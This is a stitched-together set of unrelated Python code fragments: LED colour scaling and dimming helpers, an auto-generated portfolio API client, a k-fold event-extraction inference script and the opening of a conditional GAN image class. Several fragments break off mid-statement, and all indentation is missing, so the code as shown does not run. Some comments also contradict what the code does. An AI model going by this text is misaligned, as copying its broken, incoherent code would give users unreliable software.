# scale three one byte values by a fourth one, which is treated as
# the numerator of a fraction whose demominator is 256
# In other words, it computes r,g,b * (scale / 256)
#
# THIS FUNCTION ALWAYS MODIFIES ITS ARGUMENTS IN PLACE
def nscale8x3(r, g, b, scale):
if FASTLED_SCALE8_FIXED == 1:
scale_fixed = scale + 1
r = (r * scale_fixed) >> 8
g = (g * scale_fixed) >> 8
b = (b * scale_fixed) >> 8
else:
r = (r * scale) >> 8
g = (g * scale) >> 8
b = (b * scale) >> 8
return r, g, b
def nscale8x4(r, g, b, w, scale):
if FASTLED_SCALE8_FIXED == 1:
scale_fixed = scale + 1
r = (r * scale_fixed) >> 8
g = (g * scale_fixed) >> 8
b = (b * scale_fixed) >> 8
w = (w * scale_fixed) >> 8
else:
r = (r * scale) >> 8
g = (g * scale) >> 8
b = (b * scale) >> 8
w = (w * scale) >> 8
return r, g, b, w
# scale three one byte values by a fourth one, which is treated as
# the numerator of a fraction whose demominator is 256
# In other words, it computes r,g,b * (scale / 256), ensuring
# that non-zero values passed in remain non zero, no matter how low the scale
# argument.
#
# THIS FUNCTION ALWAYS MODIFIES ITS ARGUMENTS IN PLACE
def nscale8x3_video(r, g, b, scale=None):
nonzeroscale = int(scale != 0)
if r != 0:
r = ((r * scale) >> 8) + nonzeroscale
if g != 0:
g = ((g * scale) >> 8) + nonzeroscale
if b != 0:
b = ((b * scale) >> 8) + nonzeroscale
return r, g, b
def nscale8x4_video(r, g, b, w, scale):
nonzeroscale = int(scale != 0)
if r != 0:
r = ((r * scale) >> 8) + nonzeroscale
if g != 0:
g = ((g * scale) >> 8) + nonzeroscale
if b != 0:
b = ((b * scale) >> 8) + nonzeroscale
if w != 0:
w = ((w * scale) >> 8) + nonzeroscale
return r, g, b, w
# scale two one byte values by a third one, which is treated as
# the numerator of a fraction whose demominator is 256
# In other words, it computes i,j * (scale / 256)
#
# THIS FUNCTION ALWAYS MODIFIES ITS ARGUMENTS IN PLACE
def nscale8x2(i, j, scale):
if FASTLED_SCALE8_FIXED == 1:
scale_fixed = scale + 1
i = (i * scale_fixed) >> 8
j = (j * scale_fixed) >> 8
else:
i = (i * scale) >> 8
j = (j * scale) >> 8
return i, j
# scale two one byte values by a third one, which is treated as
# the numerator of a fraction whose demominator is 256
# In other words, it computes i,j * (scale / 256), ensuring
# that non-zero values passed in remain non zero, no matter how low the scale
# argument.
#
# THIS FUNCTION ALWAYS MODIFIES ITS ARGUMENTS IN PLACE
def nscale8x2_video(i, j, scale):
nonzeroscale = int(scale != 0)
if i != 0:
i = ((i * scale) >> 8) + nonzeroscale
if j != 0:
j = ((j * scale) >> 8) + nonzeroscale
return i, j
# scale a 16-bit unsigned value by an 8-bit value,
# considered as numerator of a fraction whose denominator
# is 256. In other words, it computes i * (scale / 256)
def scale16by8(i, scale):
if FASTLED_SCALE8_FIXED == 1:
result = (i * (1 + scale)) >> 8
else:
result = (i * scale) / 256
return result
# scale a 16-bit unsigned value by a 16-bit value,
# considered as numerator of a fraction whose denominator
# is 65536. In other words, it computes i * (scale / 65536)
def scale16(i, scale):
if FASTLED_SCALE8_FIXED == 1:
result = (i * (1 + scale)) / 65536
else:
result = (i * scale) / 65536
return result
# @defgroup Dimming Dimming and brightening functions
#
# Dimming and brightening functions
#
# The eye does not respond in a linear way to light.
# High speed PWM'd LEDs at 50% duty cycle appear far
# brighter then the 'half as bright' you might expect.
#
# If you want your midpoint brightness leve (128) to
# appear half as bright as 'full' brightness (255), you
# have to apply a 'dimming function'.
# @{
# Adjust a scaling value for dimming
def dim8_raw(x):
return scale8(x, x)
# Adjust a scaling value for dimming for video (value will never go below 1)
def dim8_video(x):
return scale8_video(x, x)
# Linear version of the dimming function that halves for values < 128
def dim8_lin(x):
if x & 0x80:
x = scale8(x, x)
else:
x += 1
x /= 2
return x
# inverse of the dimming function, brighten a value
def brighten8_raw(x):
ix = 255 - x
return 255 - scale8(ix, ix)
# inverse of the dimming function, brighten a value
def brighten8_video(x):
ix = 255 - x
return 255 - scale8_video(ix, ix)
# inverse of the dimming function, brighten a value
def | |
is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
ApplyResult[InlineResponse2004]
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True)
return self.portfolio_evaluation_list_post_endpoint.call_with_http_info(**kwargs)
def portfolio_evaluation_list_post_with_http_info_async(
self,
**kwargs
) -> "ApplyResult[typing.Tuple[InlineResponse2004, int, typing.MutableMapping]]":
"""Evaluate a portfolio. # noqa: E501
Performs an evaluation over a period of time and returns portfolio key figures for each day, week, or month. # noqa: E501
This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult
Keyword Args:
body (InlineObject3): [optional]
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_content_type (str/None): force body content-type.
Default is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
ApplyResult[(InlineResponse2004, int, typing.Dict)]
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True)
return self.portfolio_evaluation_list_post_endpoint.call_with_http_info(**kwargs)
def portfolio_get_get(
self,
id,
**kwargs
) -> InlineResponse2001:
"""Details of a portfolio. # noqa: E501
Details of a portfolio. # noqa: E501
This method makes a synchronous HTTP request. Returns the http data only
Args:
id (str): Identifier of the portfolio.
Keyword Args:
attributes ([str]): Limit the attributes returned in the response to the specified set.. [optional]
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_content_type (str/None): force body content-type.
Default is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
InlineResponse2001
Response Object
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=False)
kwargs['id'] = \
id
return self.portfolio_get_get_endpoint.call_with_http_info(**kwargs)
def portfolio_get_get_with_http_info(
self,
id,
**kwargs
) -> typing.Tuple[InlineResponse2001, int, typing.MutableMapping]:
"""Details of a portfolio. # noqa: E501
Details of a portfolio. # noqa: E501
This method makes a synchronous HTTP request. Returns http data, http status and headers
Args:
id (str): Identifier of the portfolio.
Keyword Args:
attributes ([str]): Limit the attributes returned in the response to the specified set.. [optional]
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_content_type (str/None): force body content-type.
Default is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
InlineResponse2001
Response Object
int
Http Status Code
dict
Dictionary of the response headers
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=False)
kwargs['id'] = \
id
return self.portfolio_get_get_endpoint.call_with_http_info(**kwargs)
def portfolio_get_get_async(
self,
id,
**kwargs
) -> "ApplyResult[InlineResponse2001]":
"""Details of a portfolio. # noqa: E501
Details of a portfolio. # noqa: E501
This method makes a asynchronous HTTP request. Returns the http data, wrapped in ApplyResult
Args:
id (str): Identifier of the portfolio.
Keyword Args:
attributes ([str]): Limit the attributes returned in the response to the specified set.. [optional]
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_content_type (str/None): force body content-type.
Default is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
ApplyResult[InlineResponse2001]
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=True, async_req=True)
kwargs['id'] = \
id
return self.portfolio_get_get_endpoint.call_with_http_info(**kwargs)
def portfolio_get_get_with_http_info_async(
self,
id,
**kwargs
) -> "ApplyResult[typing.Tuple[InlineResponse2001, int, typing.MutableMapping]]":
"""Details of a portfolio. # noqa: E501
Details of a portfolio. # noqa: E501
This method makes a asynchronous HTTP request. Returns http data, http status and headers, wrapped in ApplyResult
Args:
id (str): Identifier of the portfolio.
Keyword Args:
attributes ([str]): Limit the attributes returned in the response to the specified set.. [optional]
_preload_content (bool): if False, the urllib3.HTTPResponse object
will be returned without reading/decoding response data.
Default is True.
_request_timeout (int/float/tuple): timeout setting for this request. If
one number provided, it will be total request timeout. It can also
be a pair (tuple) of (connection, read) timeouts.
Default is None.
_check_input_type (bool): specifies if type checking
should be done one the data sent to the server.
Default is True.
_check_return_type (bool): specifies if type checking
should be done one the data received from the server.
Default is True.
_spec_property_naming (bool): True if the variable names in the input data
are serialized names, as specified in the OpenAPI document.
False if the variable names in the input data
are pythonic names, e.g. snake case (default)
_content_type (str/None): force body content-type.
Default is None and content-type will be predicted by allowed
content-types and body.
_host_index (int/None): specifies the index of the server
that we want to use.
Default is read from the configuration.
Returns:
ApplyResult[(InlineResponse2001, int, typing.Dict)]
"""
self.apply_kwargs_defaults(kwargs=kwargs, return_http_data_only=False, async_req=True)
kwargs['id'] = \
id
return self.portfolio_get_get_endpoint.call_with_http_info(**kwargs)
def portfolio_list_get(
self,
**kwargs
) -> InlineResponse2002:
"""List of portfolios with keyfigures. # noqa: E501
List of portfolios with keyfigures. # noqa: E501
This method makes a synchronous HTTP request. Returns the http data only
Keyword Args:
attributes ([str]): Limit the attributes returned in the response to the specified set.. [optional]
sort ([str]): Sortable attributes. The sort order is ascending unless it is prefixed with a minus sign, in which case it | |
or cur_event_type == "":
continue
corresponding_role_type_list = event_schema_dict.get(cur_event_type)
find_key = sample_id + "-" + cur_event_type
fold_probs_cur_sample = [ele.get(find_key) for ele in kfold_result]
for index, cur_role_type in enumerate(corresponding_role_type_list):
cur_query_word = fp_role_mrc.data_loader.gen_query_for_each_sample(
cur_event_type, cur_role_type)
token_ids, query_len, token_type_ids, token_mapping = fp_role_mrc.data_loader.trans_single_data_for_test(
text, cur_query_word, 512)
cur_role_fold_probs = [probs[index] for probs in fold_probs_cur_sample]
# cur_role_fold_probs_array = np.vstack(cur_role_fold_probs)
token_len = len(token_ids)
cur_role_fold_probs_array = np.array(cur_role_fold_probs).reshape((1, token_len, 3))
avg_result = np.mean(cur_role_fold_probs_array, axis=0)
pred_ids = np.argmax(avg_result, axis=-1)
token_mapping = token_mapping[1:-1]
pred_ids = pred_ids[query_len:-1]
entity_list = extract_entity_span_from_muliclass(text, pred_ids, token_mapping)
for entity in entity_list:
event_list.append({"event_type": cur_event_type, "arguments": [
{"role": cur_role_type, "argument": entity}]})
submit_result.append({"id": sample_id, "event_list": event_list})
with codecs.open(args.submit_result, 'w', 'utf-8') as fw:
for dict_result in submit_result:
write_str = json.dumps(dict_result, ensure_ascii=False)
fw.write(write_str)
fw.write("\n")
def parse_kfold_verfify(args):
# test_file = os.path.join(event_config.get("data_dir"), event_config.get("event_data_file_test"))
test_file = "data/test2.json"
class_type_model_path = event_config.get(args.event_type_model_path)
event_schema_file = os.path.join(event_config.get("data_dir"), event_config.get("event_schema"))
event_schema_dict = parse_event_schema(event_schema_file)
fp_type = fastPredictTypeClassification(class_type_model_path, event_config)
id_list, text_list = fp_type.parse_test_json(test_file)
kfold_type_result_list = []
event_type_result_list = []
# for k in range(6):
# predict_fn = fp_type.load_models_kfold(class_type_model_path.format(k))
# cur_fold_event_type_probs = fp_type.predict_for_all_prob(predict_fn,text_list)
# kfold_type_result_list.append(cur_fold_event_type_probs)
# for i in range(len(text_list)):
# cur_sample_event_type_buffer = [ele[i] for ele in kfold_type_result_list]
# cur_sample_event_type_prob = np.array(cur_sample_event_type_buffer).reshape((6,65))
# avg_result = np.mean(cur_sample_event_type_prob,axis=0)
# event_label_ids = np.argwhere(avg_result > 0.5)
# event_cur_type_strs = [fp_type.data_loader.id2labels_map.get(
# ele[0]) for ele in event_label_ids]
# event_type_result_list.append(event_cur_type_strs)
# with codecs.open("test2_kfold_new_final_event_type.txt", 'w', 'utf-8') as fw:
# for event_type_result in event_type_result_list:
# write_line = ",".join(event_type_result)
# fw.write(write_line)
# fw.write("\n")
event_type_result_list = []
with codecs.open("test2_kfold_new_final_event_type.txt", 'r', 'utf-8') as fr:
for line in fr:
line = line.strip("\n")
event_list_cur = line.split(",")
event_type_result_list.append(event_list_cur)
# cls_model_path = event_config.get(args.event_cls_model_path)
cls_model_path = "output/model/verify_cls_fold_{}_usingtype_roberta_large_traindev_event_role_bert_mrc_model_desmodified_lowercase/saved_model"
cls_model_path_new = "output/model/final_verify_cls_fold_{}_usingtype_roberta_large_traindev_event_role_bert_mrc_model_desmodified_lowercase/saved_model"
# verify_av_model_path_old = event_config.get(args.event_verfifyav_model_path)
verify_av_model_path_old = "output/model/verify_avmrc_fold_{}_usingtype_roberta_large_traindev_event_role_bert_mrc_model_desmodified_lowercase/saved_model"
verify_av_model_path_new = "output/model/final_verify_avmrc_fold_{}_usingtype_roberta_large_traindev_event_role_bert_mrc_model_desmodified_lowercase/saved_model"
fp_cls_old = fastPredictCls(cls_model_path, event_config, "data/slot_pattern/slot_descrip_old")
fp_cls_new = fastPredictCls(cls_model_path, event_config, "data/slot_pattern/slot_descrip")
kfold_cls_result = []
kfold_start_result = []
kfold_end_result = []
kfold_hasa_result = []
for k in range(6):
predict_fn = fp_cls_old.load_models_kfold(cls_model_path.format(k))
predict_fn_cls_new = fp_cls_new.load_models_kfold(cls_model_path_new.format(k))
predict_fn_av = fp_cls_new.load_models_kfold(verify_av_model_path_new.format(k))
predict_fn_av_old = fp_cls_old.load_models_kfold(verify_av_model_path_old.format(k))
cur_fold_cls_probs_result = {}
cur_fold_av_start_probs_result = {}
cur_fold_av_end_probs_result = {}
cur_fold_av_has_answer_probs_result = {}
for sample_id, event_type_res, text in zip(id_list, event_type_result_list, text_list):
if event_type_res is None or len(event_type_res) == 0:
# submit_result.append({"id": sample_id, "event_list": []})
cur_fold_cls_probs_result.update({sample_id: []})
continue
for cur_event_type in event_type_res:
cur_event_type = cur_event_type.strip()
if cur_event_type is None or cur_event_type == "":
continue
corresponding_role_type_list = event_schema_dict.get(cur_event_type)
cur_event_type_cls_probs_result = []
cur_event_av_start_probs_result = []
cur_event_av_end_probs_result = []
cur_event_av_hasanswer_probs_result = []
for cur_role_type in corresponding_role_type_list:
cur_query_word_old = fp_cls_old.data_loader.gen_query_for_each_sample(
cur_event_type, cur_role_type)
token_ids, query_len, token_type_ids, token_mapping = fp_cls_old.data_loader.trans_single_data_for_test(
text, cur_query_word_old, 512)
label_prob = fp_cls_old.predict_single_sample_prob(predict_fn, token_ids, query_len, token_type_ids)
start_ids, end_ids, start_probs, end_probs, has_answer_probs = fp_cls_old.predict_single_sample_av_prob(
predict_fn_av_old, token_ids, query_len, token_type_ids)
# cur_event_av_start_probs_result.append(start_probs)
# cur_event_av_end_probs_result.append(end_probs)
# new
cur_query_word_new = fp_cls_new.data_loader.gen_query_for_each_sample(
cur_event_type, cur_role_type)
token_ids_new, query_len_new, token_type_ids_new, token_mapping_new = fp_cls_new.data_loader.trans_single_data_for_test(
text, cur_query_word_new, 512)
label_prob_new = fp_cls_new.predict_single_sample_prob(predict_fn_cls_new, token_ids_new,
query_len_new, token_type_ids_new)
start_ids_new, end_ids_new, start_probs_new, end_probs_new, has_answer_probs_new = fp_cls_old.predict_single_sample_av_prob(
predict_fn_av, token_ids_new, query_len_new, token_type_ids_new)
cur_event_av_hasanswer_probs_result.append((has_answer_probs, has_answer_probs_new))
cur_event_type_cls_probs_result.append((label_prob, label_prob_new))
cur_event_av_start_probs_result.append((start_probs, start_probs_new))
cur_event_av_end_probs_result.append((end_probs, end_probs_new))
cur_fold_cls_probs_result.update({sample_id + "-" + cur_event_type: cur_event_type_cls_probs_result})
cur_fold_av_start_probs_result.update(
{sample_id + "-" + cur_event_type: cur_event_av_start_probs_result})
cur_fold_av_end_probs_result.update({sample_id + "-" + cur_event_type: cur_event_av_end_probs_result})
cur_fold_av_has_answer_probs_result.update(
{sample_id + "-" + cur_event_type: cur_event_av_hasanswer_probs_result})
kfold_cls_result.append(cur_fold_cls_probs_result)
kfold_start_result.append(cur_fold_av_start_probs_result)
kfold_end_result.append(cur_fold_av_end_probs_result)
kfold_hasa_result.append(cur_fold_av_has_answer_probs_result)
submit_result = []
for sample_id, event_type_res, text in zip(id_list, event_type_result_list, text_list):
event_list = []
if event_type_res is None or len(event_type_res) == 0:
submit_result.append({"id": sample_id, "event_list": []})
continue
for cur_event_type in event_type_res:
cur_event_type = cur_event_type.strip()
if cur_event_type is None or cur_event_type == "":
continue
corresponding_role_type_list = event_schema_dict.get(cur_event_type)
find_key = sample_id + "-" + cur_event_type
fold_cls_probs_cur_sample = [ele.get(find_key) for ele in kfold_cls_result]
fold_start_probs_cur_sample = [ele.get(find_key) for ele in kfold_start_result]
fold_end_probs_cur_sample = [ele.get(find_key) for ele in kfold_end_result]
fold_has_probs_cur_sample = [ele.get(find_key) for ele in kfold_hasa_result]
for index, cur_role_type in enumerate(corresponding_role_type_list):
cur_cls_fold_probs = [probs[index] for probs in fold_cls_probs_cur_sample]
cur_cls_fold_probs_old = []
cur_cls_fold_probs_new = []
cur_hasa_fold_probs = [probs[index] for probs in fold_has_probs_cur_sample]
cur_hasa_fold_probs_old = []
cur_hasa_fold_probs_new = []
for k in range(len(cur_cls_fold_probs)):
cur_cls_fold_probs_old.append(cur_cls_fold_probs[k][0])
cur_cls_fold_probs_new.append(cur_cls_fold_probs[k][1])
cur_hasa_fold_probs_old.append(cur_hasa_fold_probs[k][0])
cur_hasa_fold_probs_new.append(cur_hasa_fold_probs[k][1])
cur_cls_fold_probs_old = np.array(cur_cls_fold_probs_old).reshape((6, 1))
cls_avg_result_old = np.mean(cur_cls_fold_probs_old, axis=0)
cur_cls_fold_probs_new = np.array(cur_cls_fold_probs_new).reshape((6, 1))
cls_avg_result_new = np.mean(cur_cls_fold_probs_new, axis=0)
cur_hasa_fold_probs_old = np.array(cur_hasa_fold_probs_old).reshape((6, 1))
has_avg_result_old = np.mean(cur_hasa_fold_probs_old, axis=0)
cur_hasa_fold_probs_new = np.array(cur_hasa_fold_probs_new).reshape((6, 1))
has_avg_result_new = np.mean(cur_hasa_fold_probs_new, axis=0)
# cur_hasa_fold_probs = np.array(cur_hasa_fold_probs).reshape((6,1))
# has_avg_result = np.mean(cur_hasa_fold_probs,axis=0)
final_probs_hasa = 0.5 * (cls_avg_result_old + cls_avg_result_new) / 2 + 0.5 * (
has_avg_result_old + has_avg_result_new) / 2
if final_probs_hasa > 0.4:
cur_query_word = fp_cls_new.data_loader.gen_query_for_each_sample(
cur_event_type, cur_role_type)
token_ids, query_len, token_type_ids, token_mapping = fp_cls_new.data_loader.trans_single_data_for_test(
text, cur_query_word, 512)
cur_query_word_old = fp_cls_old.data_loader.gen_query_for_each_sample(
cur_event_type, cur_role_type)
token_ids_old, query_len_old, token_type_ids_old, token_mapping_old = fp_cls_old.data_loader.trans_single_data_for_test(
text, cur_query_word_old, 512)
token_len = len(token_ids)
token_len_old = len(token_ids_old)
cur_start_fold_probs = [probs[index] for probs in fold_start_probs_cur_sample]
cur_end_fold_probs = [probs[index] for probs in fold_end_probs_cur_sample]
cur_start_fold_probs_old = []
cur_start_fold_probs_new = []
cur_end_fold_probs_old = []
cur_end_fold_probs_new = []
for k in range(len(cur_start_fold_probs)):
cur_start_fold_probs_old.append(cur_start_fold_probs[k][0])
cur_start_fold_probs_new.append(cur_start_fold_probs[k][1])
cur_end_fold_probs_old.append(cur_end_fold_probs[k][0])
cur_end_fold_probs_new.append(cur_end_fold_probs[k][1])
# cur_start_fold_probs_old = [probs[index] for probs in fold_start_probs_cur_sample]
# cur_end_fold_probs_old = [probs[index] for probs in fold_end_probs_cur_sample]
cur_start_fold_probs_old = np.array(cur_start_fold_probs_old).reshape((6, token_len_old, 2))
cur_end_fold_probs_old = np.array(cur_end_fold_probs_old).reshape((6, token_len_old, 2))
start_avg_result_old = np.mean(cur_start_fold_probs_old, axis=0)
end_avg_result_old = np.mean(cur_end_fold_probs_old, axis=0)
pos_start_probs_old = start_avg_result_old[:, 1]
pos_end_probs_old = end_avg_result_old[:, 1]
text_start_probs_old = pos_start_probs_old[query_len_old:-1]
text_end_probs_old = pos_end_probs_old[query_len_old:-1]
cur_start_fold_probs_new = np.array(cur_start_fold_probs_new).reshape((6, token_len, 2))
cur_end_fold_probs_new = np.array(cur_end_fold_probs_new).reshape((6, token_len, 2))
start_avg_result_new = np.mean(cur_start_fold_probs_new, axis=0)
end_avg_result_new = np.mean(cur_end_fold_probs_new, axis=0)
pos_start_probs_new = start_avg_result_new[:, 1]
pos_end_probs_new = end_avg_result_new[:, 1]
text_start_probs_new = pos_start_probs_new[query_len:-1]
text_end_probs_new = pos_end_probs_new[query_len:-1]
pos_start_probs = (text_start_probs_old + text_start_probs_new) / 2
pos_end_probs = (text_end_probs_old + text_end_probs_new) / 2
start_ids = (pos_start_probs > 0.4).astype(int)
# end_ids = np.argmax(end_avg_result,axis=-1)
end_ids = (pos_end_probs > 0.4).astype(int)
token_mapping = token_mapping[1:-1]
# start_ids = start_ids[query_len:-1]
# end_ids = end_ids[query_len:-1]
entity_list, span_start_end_tuple_list = fp_cls_old.extract_entity_from_start_end_ids(
text=text, start_ids=start_ids, end_ids=end_ids, token_mapping=token_mapping)
# if len(entity_list) == 0:
# score_has_answer = 0.0
# else:
# span_score = [text_start_probs[ele[0]]+text_end_probs[ele[1]] for ele in span_start_end_tuple_list]
# score_has_answer = max(span_score)
# score_no_answer = 0.5*(max(pos_start_probs[0:query_len])+max(pos_end_probs[0:query_len]))+0.5*final_probs_hasa
# diff_score = score_has_answer - score_no_answer
for entity in entity_list:
if len(entity) > 1:
event_list.append({"event_type": cur_event_type, "arguments": [
{"role": cur_role_type, "argument": entity}]})
submit_result.append({"id": sample_id, "event_list": event_list})
# for sample_id, event_type_res, text in zip(id_list, event_type_result_list, text_list):
# event_list = []
# if event_type_res is None or len(event_type_res) == 0:
# submit_result.append({"id": sample_id, "event_list": []})
# continue
# for cur_event_type in event_type_res:
# cur_event_type = cur_event_type.strip()
# if cur_event_type is None or cur_event_type == "":
# continue
# corresponding_role_type_list = event_schema_dict.get(cur_event_type)
# find_key = sample_id + "-" + cur_event_type
# fold_probs_cur_sample = [ele.get(find_key) for ele in kfold_result]
# for index,cur_role_type in enumerate(corresponding_role_type_list):
# cur_query_word = fp_role_mrc.data_loader.gen_query_for_each_sample(
# cur_event_type, cur_role_type)
# token_ids, query_len, token_type_ids, token_mapping = fp_role_mrc.data_loader.trans_single_data_for_test(
# text, cur_query_word, 512)
# cur_role_fold_probs = [probs[index] for probs in fold_probs_cur_sample]
# # cur_role_fold_probs_array = np.vstack(cur_role_fold_probs)
# token_len = len(token_ids)
# cur_role_fold_probs_array = np.array(cur_role_fold_probs).reshape((1,token_len,3))
# avg_result = np.mean(cur_role_fold_probs_array,axis=0)
# pred_ids = np.argmax(avg_result,axis=-1)
# token_mapping = token_mapping[1:-1]
# pred_ids = pred_ids[query_len:-1]
# entity_list = extract_entity_span_from_muliclass(text,pred_ids,token_mapping)
# for entity in entity_list:
# event_list.append({"event_type": cur_event_type, "arguments": [
# {"role": cur_role_type, "argument": entity}]})
# submit_result.append({"id": sample_id, "event_list": event_list})
# for sample_id, event_type_res, text in zip(id_list, event_type_result_list, text_list):
# # if sample_id == "66de2f44ca8839ddcb0708096864df8b":
# # print(text)
# if event_type_res is None or len(event_type_res) == 0:
# submit_result.append({"id": sample_id, "event_list": []})
# continue
# event_list = []
# # print(event_type_res)
# # {"event_type": "司法行为-开庭", "arguments": [{"role": "时间", "argument": "4月29日上午"}
# for cur_event_type in event_type_res:
# cur_event_type = cur_event_type.strip()
# if cur_event_type is None or cur_event_type == "":
# continue
# corresponding_role_type_list = event_schema_dict.get(
# cur_event_type)
# for cur_role_type in corresponding_role_type_list:
# if True:
# cur_query_word = fp_role_mrc.data_loader.gen_query_for_each_sample(
# cur_event_type, cur_role_type)
# token_ids, query_len, token_type_ids, token_mapping = fp_role_mrc.data_loader.trans_single_data_for_test(
# text, cur_query_word, 512)
# start_ids, end_ids,start_probs,end_probs = fp_role_mrc.predict_single_sample(
# token_ids, query_len, token_type_ids)
# # print(start_probs.shape)
# pos_start_probs = start_probs[:,1]
# # pos_end_probs = end_probs[:,1]
# start_ids = (pos_start_probs > 0.4).astype(int)
# # end_ids = (pos_end_probs > 0.4).astype(int)
# # end_ids = (pos_end_probs > 0.4).astype(int)
# # 先松后紧
# if sum(start_ids) == 0:
# continue
# # if sum(start_ids) > 1:
# # print(text)
# token_mapping = token_mapping[1:-1]
# # a = start_ids[query_len-1:]
# start_ids = start_ids[query_len:-1]
# end_ids = end_ids[query_len:-1]
# entity_list = fp_role_mrc.extract_entity_from_start_end_ids(
# text=text, start_ids=start_ids, end_ids=end_ids, token_mapping=token_mapping)
# for entity in entity_list:
# if len(entity) > 1:
# event_list.append({"event_type": cur_event_type, "arguments": [
# {"role": cur_role_type, "argument": entity}]})
# submit_result.append({"id": sample_id, "event_list": event_list})
with codecs.open(args.submit_result, 'w', 'utf-8') as fw:
for dict_result in submit_result:
write_str | |
<gh_stars>1-10
import CSDGAN.utils.db as db
import CSDGAN.utils.constants as cs
import utils.image_utils as iu
import utils.utils as uu
from CSDGAN.classes.image.ImageDataset import OnlineGeneratedImageDataset
from CSDGAN.classes.image.ImageNetD import ImageNetD
from CSDGAN.classes.image.ImageNetG import ImageNetG
from CSDGAN.classes.image.ImageNetE import ImageNetE
from CSDGAN.classes.NetUtils import GaussianNoise
from CSDGAN.classes.CGANUtils import CGANUtils
import time
from torch.utils import data
import imageio
import copy
import os
import numpy as np
import torch
import matplotlib.pyplot as plt
import torchvision.utils as vutils
class ImageCGAN(CGANUtils):
"""CGAN for image-based data sets"""
def __init__(self, train_gen, val_gen, test_gen, device, nc, nz, num_channels, sched_netG, path, le, ohe,
label_noise, label_noise_linear_anneal, discrim_noise, discrim_noise_linear_anneal,
netG_nf, netG_lr, netG_beta1, netG_beta2, netG_wd,
netD_nf, netD_lr, netD_beta1, netD_beta2, netD_wd,
netE_lr, netE_beta1, netE_beta2, netE_wd,
fake_data_set_size, fake_bs,
eval_num_epochs, early_stopping_patience, grid_num_examples=10):
super().__init__()
self.path = path # default file path for saved objects
self.init_paths()
# Data generator
self.train_gen = train_gen
self.data_gen = self.train_gen # For drawing architectures only
self.val_gen = val_gen
self.test_gen = test_gen
# Initialize properties
self.device = device
self.x_dim = self.extract_x_dim()
self.nc = nc
self.nz = nz
self.num_channels = num_channels
self.le = le
self.ohe = ohe
self.grid_num_examples = grid_num_examples
# Anti-discriminator properties
assert 0.0 <= label_noise <= 1.0, "Label noise must be between 0 and 1"
self.label_noise = label_noise
self.label_noise_linear_anneal = label_noise_linear_anneal
self.ln_rate = 0.0
self.discrim_noise = discrim_noise
self.discrim_noise_linear_anneal = discrim_noise_linear_anneal
self.dn_rate = 0.0
# Evaluator properties
self.fake_shuffle = True
self.fake_num_workers = 6
self.fake_data_set_size = fake_data_set_size
self.fake_bs = fake_bs
self.netE_params = {'lr': netE_lr, 'beta1': netE_beta1, 'beta2': netE_beta2, 'wd': netE_wd}
self.eval_num_epochs = eval_num_epochs
self.early_stopping_patience = early_stopping_patience
# Initialized through init_fake_gen method
self.fake_train_set = None
self.fake_train_gen = None
self.fake_val_set = None
self.fake_val_gen = None
# Instantiate sub-nets
self.netG = ImageNetG(nz=self.nz, num_channels=self.num_channels, nf=netG_nf, x_dim=self.x_dim, nc=self.nc, device=self.device, path=self.path,
grid_num_examples=self.grid_num_examples, lr=netG_lr, beta1=netG_beta1, beta2=netG_beta2, wd=netG_wd).to(self.device)
self.netD = ImageNetD(nf=netD_nf, num_channels=self.num_channels, nc=self.nc, noise=self.discrim_noise, device=self.device, x_dim=self.x_dim,
path=self.path, lr=netD_lr, beta1=netD_beta1, beta2=netD_beta2, wd=netD_wd).to(self.device)
self.netE = None # Initialized through init_evaluator method
self.nets = {self.netG, self.netD, self.netE}
# Training properties
self.epoch = 0
self.sched_netG = sched_netG
